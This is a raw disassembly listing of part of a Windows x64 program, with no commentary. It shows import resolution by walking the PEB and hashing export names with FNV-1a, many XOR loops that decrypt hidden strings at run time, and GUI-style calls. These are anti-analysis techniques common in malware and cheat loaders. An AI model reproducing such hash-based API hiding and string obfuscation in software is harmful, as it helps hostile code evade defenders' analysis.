pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140079150
cmp r8d, 0x14
jge 0x1400792a3
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140079270
lea rcx, [rbp + 8]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140079336
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140079336
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140079331
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140079310
cmp r8d, 0x31a98fee
je 0x14007933b
test r9d, r9d
jne 0x1400792f0
mov rax, qword [rax]
jmp 0x1400792c0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
movsd xmm0, qword [str._QXBR_9]
movsd qword [rbp + 0x48], xmm0
mov ecx, dword [0x140100178]
mov dword [rbp + 0x50], ecx
movzx eax, word [reloc.WS2_32.dll_gethostname]
mov edx, 0x53
mov word [rbp + 0x48], dx
xor word [rbp + 0x4a], 0x34
xor word [rbp + 0x4c], 0x35
xor word [rbp + 0x4e], 0x36
xor cx, 0x37
mov word [rbp + 0x50], cx
xor word [rbp + 0x52], 0x38
xor ax, 0x39
mov word [rbp + 0x54], ax
movups xmm0, xmmword [str.UV_VVU_PX]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [0x1400ffe48]
movups xmmword [rbp + 0x3c0], xmm1
movsd xmm0, qword [0x1400ffe58]
movsd qword [rbp + 0x3d0], xmm0
movzx eax, word [0x1400ffe60]
mov word [rbp + 0x3d8], ax
mov r8d, edi
cmp r15d, 2
jl 0x140079519
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm9, xmmword [0x1401004c0]
lea rcx, [rbp + 0x3b0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x140079420
cmp r8d, 0x15
jge 0x140079567
movsxd rax, r8d
lea r9, [rbp + 0x3b0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140079530
xor r9d, r9d
lea r8, [rbp + 0x48]
lea rdx, [rbp + 0x3b0]
xor ecx, ecx
call r11
movss xmm9, dword [0x14010039c]
call fcn.14001c800
nop
mov rdx, qword [rbp + 0x380]
cmp rdx, 0x10
jb 0x1400795ca
inc rdx
mov rcx, qword [rbp + 0x368]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400795c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007cdea
call fcn.1400e44b0
mov qword [rbp + 0x378], rdi
mov qword [rbp + 0x380], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x368], 0
test r13b, r13b
je 0x14007b7c8
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140079633
mov qword [rbp + 0x260], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x260]
call fcn.140023210
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007966c
mov qword [rbp + 0x268], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x268]
call fcn.140023210
mov dword [rbp + 0x270], 0x42f00000
mov dword [rbp + 0x274], 0x41c80000
movups xmm0, xmmword [str.fDQWC_]
movups xmmword [rbp + 8], xmm0
movzx eax, byte [0x1401001d0]
mov byte [rbp + 0x18], al
mov r8d, edi
mov esi, 5
lea ebx, [rsi + 0x1a]
cmp r15d, 2
jl 0x1400797ff
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0xc]
mov edx, dword [rbp + 0x2c0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400796f0
cmp r8d, 0x11
jge 0x140079843
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140079810
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.14004b870
mov dword [rbp + 0xd8], 0x42f00000
mov dword [rbp + 0xdc], 0x41c80000
movsd xmm0, qword [str.qAZS]
movsd qword [rbp + 0x58], xmm0
test al, al
mov eax, dword [0x1401000f0]
mov dword [rbp + 0x60], eax
movzx eax, word [0x1401000f4]
mov word [rbp + 0x64], ax
movzx eax, byte [0x1401000f6]
mov byte [rbp + 0x66], al
je 0x14007989c
mov dword [0x1401183f0], edi
mov r8d, edi
cmp r15d, 2
jl 0x1400799b8
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movd xmm5, ebx
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qAZS]
pxor xmm2, xmm0
movd dword [rbp + 0x58], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5c]
pxor xmm2, xmm1
movd dword [rbp + 0x5c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x58]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400799d0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x58]
call fcn.14004b870
mov ecx, dword [0x1401183f0]
test al, al
mov eax, 1
cmovne ecx, eax
mov dword [0x1401183f0], ecx
mov dword [rbp + 0x278], 0x42f00000
mov dword [rbp + 0x27c], 0x41c80000
movsd xmm0, qword [0x140100138]
movsd qword [rbp + 0x130], xmm0
mov eax, dword [0x140100140]
mov dword [rbp + 0x138], eax
movzx eax, word [0x140100144]
mov word [rbp + 0x13c], ax
cmp byte [0x140100145], 0
je 0x140079be3
mov r8d, edi
cmp r15d, 2
jl 0x140079b99
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movd xmm5, ebx
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140100138]
pxor xmm2, xmm0
movd dword [rbp + 0x130], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x134]
pxor xmm2, xmm1
movd dword [rbp + 0x134], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x130]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140079bb0
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x130]
call fcn.14004b870
test al, al
je 0x140079c09
mov dword [0x1401183f0], 2
jmp 0x14007b3fe
cmp dword [0x1401183f0], 0
jne 0x14007a223
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
mov rbx, qword [0x140117be0]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm13
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm14
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp + 0x280], 0x43960000
mov dword [rbp + 0x284], 0x437a0000
movsd xmm0, qword [str.pZSoPT_SJ_]
movsd qword [rbp + 0x98], xmm0
mov eax, dword [0x1400ff910]
mov dword [rbp + 0xa0], eax
cmp byte [0x1400ff913], 0
je 0x140079e43
mov r8d, edi
cmp r15d, 2
jl 0x140079e02
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pZSoPT_SJ_]
pxor xmm2, xmm0
movd dword [rbp + 0x98], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
pxor xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x98]
add r9, rax
nop
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140079e10
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.140014880
cmp dword [rbx + 0x1d6c], eax
jne 0x140079e87
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140079e96
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x280]
mov edx, eax
lea rcx, [rbp + 0x98]
call fcn.14001c560
test al, al
je 0x14007a223
test r12b, r12b
jne 0x14007a202
movups xmm0, xmmword [0x140100080]
movups xmmword [rbp + 0x3b0], xmm0
movups xmm1, xmmword [0x140100090]
movups xmmword [rbp + 0x3c0], xmm1
movzx eax, word [0x1401000a0]
mov word [rbp + 0x3d0], ax
mov r8d, edi
cmp r15d, 2
jl 0x14007a04f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x3b4]
mov edx, dword [rbp + 0x2c0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140079f40
cmp r8d, 0x22
jge 0x14007a093
movsxd rax, r8d
lea r9, [rbp + 0x3b0]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14007a060
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], rdi
lea rax, [rbp + 0x3b0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007a0b0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 8]
call fcn.140012c50
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x388]
call fcn.140068ec0
mov rbx, rax
lea rax, [0x140117d80]
cmp rax, rbx
je 0x14007a168
mov rdx, qword [0x140117d98]
cmp rdx, 0x10
jb 0x14007a12b
inc rdx
mov rcx, qword [0x140117d80]
cmp rdx, 0x1000
jb 0x14007a126
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007cdf1
mov rcx, r8
call fcn.1400e44b0
mov qword [0x140117d90], rdi
mov qword [0x140117d98], 0xf
mov byte [0x140117d80], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140117d80], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140117d90], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x3a0]
cmp rdx, 0x10
jb 0x14007a1a9
inc rdx
mov rcx, qword [rbp + 0x388]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007a1a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007cdf1
call fcn.1400e44b0
mov qword [rbp + 0x398], rdi
mov qword [rbp + 0x3a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x388], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14007a1fd
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007a1f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007cdf8
call fcn.1400e44b0
mov byte [rsp + 0x6c], 1
lea rcx, [0x140117d80]
cmp qword [0x140117d98], 0x10
cmovae rcx, qword [0x140117d80]
call fcn.14004adb0
call fcn.14001c800
cmp dword [0x1401183f0], 1
jne 0x14007b3f1
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
mov rbx, qword [0x140117be0]
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm13
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm14
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp + 0x288], 0x43960000
mov dword [rbp + 0x28c], 0x437a0000
movsd xmm0, qword [str.pZSoPT_SJ_]
movsd qword [rbp + 0xa8], xmm0
mov eax, dword [0x1400ff910]
mov dword [rbp + 0xb0], eax
cmp byte [0x1400ff913], 0
je 0x14007a463
mov r8d, edi
cmp r15d, 2
jl 0x14007a41c
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
mov eax, Ordinal_33
movd xmm5, eax
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pZSoPT_SJ_]
pxor xmm2, xmm0
movd dword [rbp + 0xa8], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
pxor xmm2, xmm1
movd dword [rbp + 0xac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14007a430
mov rax, qword [rbx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd rcx, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
xor edx, edx
lea rcx, [rbp + 0xa8]
call fcn.140014880
cmp dword [rbx + 0x1d6c], eax
jne 0x14007a4a7
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14007a4b6
mov byte [rbx + 0x1dac], 1
lea r8, [rbp + 0x288]
mov edx, eax
lea rcx, [rbp + 0xa8]
call fcn.14001c560
test al, al
je 0x14007b3f1
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov dword [rax + 0x2e8], 0x3f99999a
movss xmm0, dword [rcx + 0x1a84]
mulss xmm0, dword [0x1401002f0]
mulss xmm0, dword [rax + 0x2ec]
mov rdx, qword [rax + 0x3c8]
test rdx, rdx
je 0x14007a525
mulss xmm0, dword [rdx + 0x2e8]
movss dword [rcx + 0x1a98], xmm0
movss dword [rcx + 0x1a80], xmm0
lea rcx, str.Instructions
call fcn.14004adb0
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov dword [rax + 0x2e8], 0x3f800000
movss xmm1, dword [rax + 0x2ec]
mulss xmm1, dword [rcx + 0x1a84]
mov r8, qword [rax + 0x3c8]
movsd xmm0, qword [0x140100210]
mov eax, dword [0x140100218]
movsd qword [rbp + 0x68], xmm0
mov dword [rbp + 0x70], eax
movzx eax, byte [0x14010021c]
mov byte [rbp + 0x74], al
test r8, r8
je 0x14007a5ac
mulss xmm1, dword [r8 + 0x2e8]
movaps xmm0, xmm1
movss dword [rcx + 0x1a98], xmm1
movss dword [rcx + 0x1a80], xmm0
mov r8d, edi
mov ebx, Ordinal_33
cmp r15d, 2
jl 0x14007a6e0
movdqa xmm4, xmmword [0x140100810]
movd xmm6, esi
movd xmm5, ebx
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
